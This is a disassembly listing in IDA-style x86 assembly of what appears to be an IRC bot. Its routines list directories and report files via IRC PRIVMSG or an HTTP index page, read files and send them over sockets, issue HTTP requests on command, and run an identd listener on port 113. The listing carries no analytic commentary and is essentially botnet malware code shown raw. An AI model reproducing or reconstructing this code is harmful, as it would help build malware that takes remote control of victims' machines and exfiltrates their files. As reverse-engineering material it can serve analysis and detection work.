loc_4102A7:				; CODE XREF: sub_41016C+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_410325
		cmp	[ebp+arg_C], edi
		jz	short loc_410319
		lea	eax, [ebp+Str]
		push	offset asc_44BA34 ; "*"
		push	eax		; Dest
		call	_strcat
		pop	ecx
		lea	eax, [ebp+Str]
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_410B66
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax		; Format
		lea	eax, [ebp+var_53C]
		push	eax		; Dest
		call	_sprintf
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_410374
; ---------------------------------------------------------------------------

loc_410319:				; CODE XREF: sub_41016C+152j
		push	ebx

loc_41031A:				; CODE XREF: sub_41016C+126j
		call	dword_4E42B8	; closesocket
		jmp	loc_41041C
; ---------------------------------------------------------------------------

loc_410325:				; CODE XREF: sub_41016C+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+Str]
		push	80000000h
		push	eax
		call	ds:dword_4F63F4	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410374
		lea	eax, [ebp+Str]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:dword_4F6410	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_4F6370	; CloseHandle

loc_410374:				; CODE XREF: sub_41016C+1ABj
					; sub_41016C+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+Source]
		push	esi
		push	offset asc_44BA38 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_40B78E
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_45712C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FFE9
		push	edi
		push	edi
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_45713C[ecx], eax
		jz	short loc_4103EE

loc_4103DC:				; CODE XREF: sub_41016C+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_41041C
		push	5
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_4103DC
; ---------------------------------------------------------------------------

loc_4103EE:				; CODE XREF: sub_41016C+26Ej
		push	ebx
		call	dword_4E42B8	; closesocket
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44BA6C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		add	esp, 10h

loc_41041C:				; CODE XREF: sub_41016C+1B4j
					; sub_41016C+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41016C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410423(char *Str,int,int,char	*Source)

sub_410423	proc near		; CODE XREF: sub_401CC7+78CDp
					; sub_40FFE9+15Ap

Dst		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
Str1		= byte ptr -35Ch
var_248		= byte ptr -248h
Dest		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	_memset
		mov	edi, [ebp+Str]
		push	offset asc_44BAA4 ; "\n"
		push	edi		; Str
		call	_strtok
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410482
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_410581
; ---------------------------------------------------------------------------

loc_410482:				; CODE XREF: sub_410423+3Aj
		cmp	[ebp+Source], ebx
		push	edi		; Str
		jz	loc_410567
		call	_strlen
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		push	edi		; Str
		call	_strlen
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_410581
; ---------------------------------------------------------------------------

loc_410567:				; CODE XREF: sub_410423+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h

loc_410581:				; CODE XREF: sub_410423+5Aj
					; sub_410423+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		cmp	[ebp+Source], ebx
		jz	short loc_41061C
		push	[ebp+Source]	; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		jbe	short loc_41061C
		push	[ebp+Source]	; Str
		call	_strlen
		sub	eax, 3
		pop	ecx
		jz	short loc_4105CD

loc_4105C1:				; CODE XREF: sub_410423+1A8j
		mov	ecx, [ebp+Source]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4105CD
		dec	eax
		jnz	short loc_4105C1

loc_4105CD:				; CODE XREF: sub_410423+19Cj
					; sub_410423+1A5j
		inc	eax
		push	eax		; Count
		lea	eax, [ebp+Dst]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send

loc_41061C:				; CODE XREF: sub_410423+180j
					; sub_410423+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_4F6424	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+Str], eax
		push	ecx
		push	eax
		call	ds:dword_4F6420	; FindNextFileA
		test	eax, eax
		jz	loc_410A0C
		mov	edi, 1FFh

loc_410648:				; CODE XREF: sub_410423+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_4109F4
		lea	eax, [ebp+Str1]
		push	offset a__	; ".."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109F4
		lea	eax, [ebp+Str1]
		push	offset a__2	; "."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109F4
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	ds:dword_4F641C	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_4F6418	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm_0 ; "PM"
		cmp	ax, 0Ch
		ja	short loc_4106BD
		mov	ecx, offset aAm	; "AM"

loc_4106BD:				; CODE XREF: sub_410423+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_4106C9
		sub	eax, 0Ch

loc_4106C9:				; CODE XREF: sub_410423+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_41086C
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_41073D
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_27	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4109B5
; ---------------------------------------------------------------------------

loc_41073D:				; CODE XREF: sub_410423+2E0j
		cmp	[ebp+Source], ebx
		jz	loc_410827
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS_5	; "%s%s/"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_4107DD
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4107E2
; ---------------------------------------------------------------------------

loc_4107DD:				; CODE XREF: sub_410423+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_4107E2:				; CODE XREF: sub_410423+3B8j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4109B6
; ---------------------------------------------------------------------------

loc_410827:				; CODE XREF: sub_410423+31Dj
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_28	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_4109C5
; ---------------------------------------------------------------------------

loc_41086C:				; CODE XREF: sub_410423+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4108AB
		push	ebx
		push	[ebp+var_368]
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi		; Count

loc_410897:				; CODE XREF: sub_410423+577j
		lea	eax, [ebp+var_248]
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	loc_4109C5
; ---------------------------------------------------------------------------

loc_4108AB:				; CODE XREF: sub_410423+44Fj
		cmp	[ebp+Source], ebx
		jz	loc_41099F
		push	0E6h
		push	offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS_6	; "%s%s"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_41094B
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410950
; ---------------------------------------------------------------------------

loc_41094B:				; CODE XREF: sub_410423+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_410950:				; CODE XREF: sub_410423+526j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_410897
; ---------------------------------------------------------------------------

loc_41099F:				; CODE XREF: sub_410423+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_4109B5:				; CODE XREF: sub_410423+315j
		push	esi		; Count

loc_4109B6:				; CODE XREF: sub_410423+3FFj
		lea	eax, [ebp+var_248]
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h

loc_4109C5:				; CODE XREF: sub_410423+444j
					; sub_410423+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4109F4
		push	7D0h
		call	ds:dword_4F6380	; Sleep

loc_4109F4:				; CODE XREF: sub_410423+22Bj
					; sub_410423+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+Str]
		call	ds:dword_4F6420	; FindNextFileA
		test	eax, eax
		jnz	loc_410648

loc_410A0C:				; CODE XREF: sub_410423+21Aj
		push	[ebp+Str]
		call	ds:dword_4F6414	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_410A4F
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_410A83
; ---------------------------------------------------------------------------

loc_410A4F:				; CODE XREF: sub_410423+5F5j
		cmp	[ebp+Source], ebx
		jz	short loc_410A69
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_410A83
; ---------------------------------------------------------------------------

loc_410A69:				; CODE XREF: sub_410423+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h

loc_410A83:				; CODE XREF: sub_410423+62Aj
					; sub_410423+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_410423	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AA9	proc near		; CODE XREF: sub_40FFE9+13Cp

Dst		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_4F63F4	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410B61
		push	esi
		push	ebx
		call	ds:dword_4F6410	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410B5A

loc_410AEE:				; CODE XREF: sub_410AA9+AFj
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410B0B
		mov	edi, [ebp+arg_4]

loc_410B0B:				; CODE XREF: sub_410AA9+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4F6428	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_4F63F0	; ReadFile
		push	esi
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410B55
		call	dword_4E41B4	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_410B5A
		xor	eax, eax

loc_410B55:				; CODE XREF: sub_410AA9+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410AEE

loc_410B5A:				; CODE XREF: sub_410AA9+43j
					; sub_410AA9+A8j
		push	ebx
		call	ds:dword_4F6370	; CloseHandle

loc_410B61:				; CODE XREF: sub_410AA9+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410AA9	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_410B66(char *Str)

sub_410B66	proc near		; CODE XREF: sub_41016C+181p

Str		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Str]
		xor	esi, esi
		push	edi		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_410B8F

loc_410B79:				; CODE XREF: sub_410B66+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410B83
		mov	byte ptr [esi+edi], 2Fh

loc_410B83:				; CODE XREF: sub_410B66+17j
		push	edi		; Str
		inc	esi
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_410B79

loc_410B8F:				; CODE XREF: sub_410B66+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410B66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410B94(int,char *Str,int,int,int,int,int,int,int)

sub_410B94	proc near		; CODE XREF: sub_401CC7+53E7p

var_4A0		= byte ptr -4A0h
Dest		= byte ptr -310h
Format		= byte ptr -110h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4E4190	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4E42A0	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_14]
		call	dword_4E4220	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AE8D
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	dword_4E41C8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C71
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410C0D
		mov	eax, offset dword_4E6FB0

loc_410C0D:				; CODE XREF: sub_410B94+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+Format]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Format]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Format]
		push	eax
		push	ebx
		call	dword_4E4270	; send
		push	esi		; Size
		lea	eax, [ebp+Format]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+Format]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4E4238	; recv
		pop	esi

loc_410C71:				; CODE XREF: sub_410B94+6Bj
		push	ebx
		call	dword_4E42B8	; closesocket
		call	dword_4E4178	; WSACleanup
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410CB1
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_410CB1:				; CODE XREF: sub_410B94+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410B94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CB5	proc near		; DATA XREF: WinMain(x,x,x,x)+445o
					; sub_401CC7+43E6o

Str		= byte ptr -238h
Dest		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_8], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	71h
		call	dword_4E4220	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4E42A0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410E19
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_457134[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4E424C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_410E19
		push	5
		push	ebx
		call	dword_4E4248	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_410E19
		mov	[ebp+var_C], edi
		mov	edi, 200h

loc_410D40:				; CODE XREF: sub_410CB5+EAj
					; sub_410CB5+14Dj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4E42B4	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_410E14
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Str]
		push	offset asc_44BF7C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_415C77
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4E4238	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410D40
		lea	eax, [ebp+Str]
		push	esi		; int
		push	eax		; Str
		call	sub_418CD0
		push	0Ch		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	esi		; Str1
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	2		; int
		push	eax		; Dest
		call	sub_40B487
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	esi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_4]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D40
		mov	[ebp+var_8], 1
		jmp	loc_410D40
; ---------------------------------------------------------------------------

loc_410E14:				; CODE XREF: sub_410CB5+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_410E40

loc_410E19:				; CODE XREF: sub_410CB5+47j
					; sub_410CB5+6Bj ...
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Str]
		push	offset asc_44BFC0 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_415C77
		add	esp, 10h

loc_410E40:				; CODE XREF: sub_410CB5+162j
		push	ebx
		call	dword_4E42B8	; closesocket
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
